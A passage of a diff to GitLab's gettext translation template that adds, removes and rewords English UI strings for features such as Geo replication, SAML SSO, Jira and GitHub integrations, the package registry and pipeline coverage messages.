+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr ""
@@ -13753,6 +14144,9 @@ msgstr ""
msgid "Geo|Status"
msgstr ""
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr ""
@@ -13765,6 +14159,9 @@ msgstr ""
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr ""
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr ""
@@ -13798,6 +14195,9 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr ""
@@ -13843,6 +14243,9 @@ msgstr ""
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr ""
@@ -13972,6 +14375,12 @@ msgstr ""
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr ""
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr ""
@@ -14095,6 +14504,24 @@ msgstr ""
msgid "Gitea Import"
msgstr ""
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr ""
@@ -14137,9 +14564,6 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr ""
-
msgid "Go full screen"
msgstr ""
@@ -14269,16 +14693,13 @@ msgstr ""
msgid "Grafana response contains invalid json"
msgstr ""
-msgid "GrafanaIntegration|API Token"
+msgid "GrafanaIntegration|API token"
msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr ""
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
+msgid "GrafanaIntegration|Enter the Grafana API token."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -14290,6 +14711,9 @@ msgstr ""
msgid "GrafanaIntegration|Grafana authentication"
msgstr ""
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
msgid "Grant access"
msgstr ""
@@ -14347,6 +14771,12 @@ msgstr ""
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -14428,9 +14858,6 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr ""
@@ -14533,9 +14960,15 @@ msgstr ""
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr ""
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
msgstr ""
@@ -14551,7 +14984,10 @@ msgstr ""
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr ""
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
@@ -14647,9 +15083,6 @@ msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr ""
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr ""
@@ -14845,9 +15278,6 @@ msgstr ""
msgid "Groups to synchronize"
msgstr ""
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "GroupsDropdown|Frequently visited"
msgstr ""
@@ -14983,9 +15413,6 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Have your users email"
-msgstr ""
-
msgid "Header logo was successfully removed."
msgstr ""
@@ -15164,6 +15591,9 @@ msgstr ""
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15332,6 +15762,12 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr ""
@@ -15492,9 +15928,6 @@ msgstr ""
msgid "Import/Export Rate Limits"
msgstr ""
-msgid "Import/Export illustration"
-msgstr ""
-
msgid "ImportButtons|Connect repositories from"
msgstr ""
@@ -15542,12 +15975,15 @@ msgid_plural "Importing %d repositories"
msgstr[0] ""
msgstr[1] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
+msgid "Importing..."
msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
@@ -15557,9 +15993,6 @@ msgstr ""
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr ""
-
msgid "In progress"
msgstr ""
@@ -16145,6 +16578,9 @@ msgstr ""
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr ""
+msgid "Infrastructure Registry"
+msgstr ""
+
msgid "Inherited"
msgstr ""
@@ -16315,6 +16751,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
@@ -16360,9 +16799,6 @@ msgstr ""
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16387,6 +16823,9 @@ msgstr ""
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -16423,9 +16862,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr ""
-msgid "Invalid Login or password"
-msgstr ""
-
msgid "Invalid OS"
msgstr ""
@@ -16621,7 +17057,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -16630,7 +17066,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -16639,25 +17075,25 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
@@ -16672,6 +17108,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -16834,6 +17273,9 @@ msgstr ""
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr ""
@@ -16843,6 +17285,9 @@ msgstr ""
msgid "Issue weight"
msgstr ""
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr ""
@@ -16930,6 +17375,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr ""
@@ -16993,6 +17441,9 @@ msgstr ""
msgid "It's you"
msgstr ""
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr ""
@@ -17080,6 +17531,9 @@ msgstr ""
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -17092,9 +17546,18 @@ msgstr ""
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17134,7 +17597,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr ""
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17155,7 +17621,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17167,12 +17633,18 @@ msgstr ""
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr ""
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr ""
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
msgid "JiraService|Username or Email"
msgstr ""
@@ -17389,15 +17861,6 @@ msgstr ""
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr ""
-
msgid "Keys"
msgstr ""
@@ -17488,6 +17951,9 @@ msgstr ""
msgid "Label lists show all issues with the selected label."
msgstr ""
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr ""
@@ -17691,6 +18157,9 @@ msgstr ""
msgid "Learn more"
msgstr ""
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -18089,6 +18558,9 @@ msgstr ""
msgid "Link copied"
msgstr ""
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr ""
@@ -18158,6 +18630,9 @@ msgstr ""
msgid "Loading"
msgstr ""
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr ""
@@ -18332,6 +18807,9 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr ""
@@ -18371,6 +18849,9 @@ msgstr ""
msgid "Manifest import"
msgstr ""
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -18395,9 +18876,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr ""
-
msgid "Mark this issue as a duplicate of another issue"
msgstr ""
@@ -18473,6 +18951,9 @@ msgstr ""
msgid "MattermostService|Add to Mattermost"
msgstr ""
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr ""
@@ -18491,13 +18972,10 @@ msgstr ""
msgid "MattermostService|Response username"
msgstr ""
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr ""
-
msgid "MattermostService|Suggestions:"
msgstr ""
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
msgstr ""
msgid "Max 100,000 events"
@@ -18572,6 +19050,9 @@ msgstr ""
msgid "Maximum capacity"
msgstr ""
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr ""
@@ -18674,9 +19155,6 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -18686,9 +19164,6 @@ msgstr ""
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "Members of a group may only view projects they have permission to access"
msgstr ""
@@ -18821,9 +19296,6 @@ msgstr ""
msgid "Merge Request Analytics"
msgstr ""
-msgid "Merge Request Approvals"
-msgstr ""
-
msgid "Merge Request Commits"
msgstr ""
@@ -18881,9 +19353,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr ""
-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
-msgstr ""
-
msgid "Merge request dependencies"
msgstr ""
@@ -19446,6 +19915,9 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
@@ -19638,6 +20110,12 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr ""
@@ -19701,6 +20179,9 @@ msgstr ""
msgid "More Information"
msgstr ""
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr ""
@@ -19836,6 +20317,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr ""
@@ -20152,6 +20636,15 @@ msgstr ""
msgid "NetworkPolicies|ports/protocols"
msgstr ""
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -20199,9 +20692,6 @@ msgstr ""
msgid "New Label"
msgstr ""
-msgid "New Merge Request"
-msgstr ""
-
msgid "New Milestone"
msgstr ""
@@ -20367,6 +20857,9 @@ msgstr ""
msgid "Next commit"
msgstr ""
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr ""
@@ -20412,6 +20905,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr ""
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -20478,7 +20974,7 @@ msgstr ""
msgid "No estimate or time spent"
msgstr ""
-msgid "No file chosen"
+msgid "No file chosen."
msgstr ""
msgid "No file hooks found."
@@ -20529,6 +21025,9 @@ msgstr ""
msgid "No matches found"
msgstr ""
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr ""
@@ -20616,6 +21115,9 @@ msgstr ""
msgid "No start date"
msgstr ""
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr ""
@@ -20787,6 +21289,26 @@ msgstr ""
msgid "Notification settings saved"
msgstr ""
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -20901,6 +21423,15 @@ msgstr ""
msgid "Number of Elasticsearch shards"
msgstr ""
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr ""
@@ -21033,10 +21564,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -21126,9 +21654,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr ""
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21153,9 +21678,6 @@ msgstr ""
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Run scan"
-msgstr ""
-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21186,6 +21708,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21272,12 +21797,6 @@ msgstr ""
msgid "Open"
msgstr ""
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr ""
@@ -21296,9 +21815,6 @@ msgstr ""
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr ""
-
msgid "Open raw"
msgstr ""
@@ -21311,10 +21827,13 @@ msgstr ""
msgid "Open: %{open}"
msgstr ""
-msgid "Opened"
+msgid "OpenAPI"
msgstr ""
-msgid "Opened %{epicTimeagoDate}"
+msgid "OpenAPI specification file path"
+msgstr ""
+
+msgid "Opened"
msgstr ""
msgid "Opened MRs"
@@ -21329,6 +21848,9 @@ msgstr ""
msgid "Opens in a new window"
msgstr ""
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr ""
@@ -21380,6 +21902,9 @@ msgstr ""
msgid "Or you can choose one of the suggested colors below"
msgstr ""
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -21488,12 +22013,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr ""
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -21524,6 +22055,9 @@ msgstr ""
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -21542,6 +22076,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -21593,6 +22130,9 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -21617,9 +22157,6 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
-msgid "PackageRegistry|Maven XML"
-msgstr ""
-
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -21656,15 +22193,42 @@ msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr ""
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -21716,27 +22280,6 @@ msgstr ""
msgid "PackageRegistry|yarn command"
msgstr ""
-msgid "PackageType|Composer"
-msgstr ""
-
-msgid "PackageType|Conan"
-msgstr ""
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr ""
-
-msgid "PackageType|NuGet"
-msgstr ""
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr ""
@@ -21974,10 +22517,19 @@ msgstr ""
msgid "PerformanceBar|SQL queries"
msgstr ""
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
msgstr ""
msgid "Permissions"
@@ -22058,7 +22610,7 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
+msgid "PipelineCharts|CI/CD Analytics"
msgstr ""
msgid "PipelineCharts|Failed:"
@@ -22307,9 +22859,6 @@ msgstr ""
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr ""
-
msgid "Pipeline|Created"
msgstr ""
@@ -22328,6 +22877,9 @@ msgstr ""
msgid "Pipeline|Failed"
msgstr ""
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr ""
@@ -22403,6 +22955,18 @@ msgstr ""
msgid "Pipeline|Tag name"
msgstr ""
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr ""
@@ -22472,9 +23036,6 @@ msgstr ""
msgid "Please add a comment in the text area above"
msgstr ""
-msgid "Please add a list to your board first"
-msgstr ""
-
msgid "Please check the configuration file for this chart"
msgstr ""
@@ -22625,10 +23186,10 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
+msgid "Please try again"
msgstr ""
-msgid "Please try again"
+msgid "Please try and refresh the page. If the problem persists please contact support."
msgstr ""
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
@@ -22664,6 +23225,18 @@ msgstr ""
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr ""
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -22802,6 +23375,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -22826,6 +23405,9 @@ msgstr ""
msgid "Previous commit"
msgstr ""
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr ""
@@ -22850,6 +23432,9 @@ msgstr ""
msgid "Prioritized label"
msgstr ""
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr ""
@@ -23108,7 +23693,7 @@ msgstr ""
msgid "Profiles|Main settings"
msgstr ""
-msgid "Profiles|No file chosen"
+msgid "Profiles|No file chosen."
msgstr ""
msgid "Profiles|Notification email"
@@ -23498,6 +24083,9 @@ msgstr ""
msgid "ProjectOverview|You must sign in to star a project"
msgstr ""
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr ""
@@ -23513,49 +24101,82 @@ msgstr ""
msgid "ProjectService|%{service_title}: status on"
msgstr ""
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Drone URL"
+msgstr ""
+
+msgid "ProjectService|Enter new API key"
+msgstr ""
+
+msgid "ProjectService|Enter new password"
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgid "ProjectService|Event triggered when a commit is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Event triggered when a pipeline status changes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
msgstr ""
